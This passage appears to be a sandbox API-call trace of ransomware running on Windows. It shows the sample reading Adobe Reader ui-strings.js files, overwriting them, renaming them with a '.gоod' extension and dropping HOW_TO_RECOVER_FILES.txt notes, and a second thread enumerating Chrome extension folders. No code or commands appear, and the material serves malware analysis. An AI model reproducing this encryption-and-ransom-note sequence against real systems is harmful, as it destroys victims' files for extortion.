ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0267.809] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.809] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.809] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.809] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0267.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0267.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0267.810] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0267.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0267.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3c70188 | out: lpFileInformation=0x3c70188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359)) returned 1 [0267.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0267.810] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0267.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0267.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0267.811] GetFileType (hFile=0x86c) returned 0x1 [0267.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0267.811] GetFileType (hFile=0x86c) returned 0x1 [0267.811] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x359 [0267.811] ReadFile (in: hFile=0x86c, lpBuffer=0x3c709d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3c709d0*, lpNumberOfBytesRead=0x20beb8c8*=0x359, lpOverlapped=0x0) returned 1 [0267.812] CloseHandle (hObject=0x86c) returned 1 [0269.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0269.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0269.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0269.058] GetFileType (hFile=0x858) returned 0x1 [0269.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0269.058] GetFileType (hFile=0x858) returned 0x1 [0269.058] WriteFile (in: hFile=0x858, lpBuffer=0x3769718*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3769718*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0269.059] CloseHandle (hObject=0x858) returned 1 [0269.060] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0269.060] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0269.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0269.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c9680be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0269.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0269.060] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0269.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0269.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0269.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0269.064] GetFileType (hFile=0x828) returned 0x1 [0269.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0269.064] GetFileType (hFile=0x828) returned 0x1 [0269.065] WriteFile (in: hFile=0x828, lpBuffer=0x3770de8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3770de8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0269.069] CloseHandle (hObject=0x828) returned 1 [0269.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0269.069] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it", lpFilePart=0x0) returned 0x7e [0269.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0269.070] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.070] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.070] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.070] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0269.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0269.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0269.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0269.070] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it", lpFilePart=0x0) returned 0x7e [0269.070] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0269.070] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.071] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.071] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.071] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0269.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0269.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0269.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0269.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0269.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37911c8 | out: lpFileInformation=0x37911c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352)) returned 1 [0269.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0269.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0269.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0269.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0269.072] GetFileType (hFile=0x828) returned 0x1 [0269.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0269.072] GetFileType (hFile=0x828) returned 0x1 [0269.072] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x352 [0269.072] ReadFile (in: hFile=0x828, lpBuffer=0x37918e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x37918e8*, lpNumberOfBytesRead=0x20beb8c8*=0x352, lpOverlapped=0x0) returned 1 [0269.101] CloseHandle (hObject=0x828) returned 1 [0269.939] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 Thread: id = 247 os_tid = 0xa80 [0249.146] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0249.147] CoGetContextToken (in: pToken=0x20ceeaf0 | out: pToken=0x20ceeaf0) returned 0x0 [0249.147] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x20ceeb28 | out: ppvObject=0x20ceeb28*=0x12e64e8) returned 0x0 [0249.147] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x20ceeb98 | out: pThreadType=0x20ceeb98*=0) returned 0x0 [0249.147] IUnknown:Release (This=0x12e64e8) returned 0x0 [0249.147] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0249.147] CoUninitialize () [0249.147] RoInitialize () returned 0x1 [0249.147] RoUninitialize () returned 0x0 [0249.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0249.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpFilePart=0x0) returned 0x79 [0249.148] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0249.148] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.148] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5577fa0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5577fa0f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0249.149] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f3488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0249.149] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.149] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0249.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0249.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0249.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0249.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpFilePart=0x0) returned 0x79 [0249.149] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 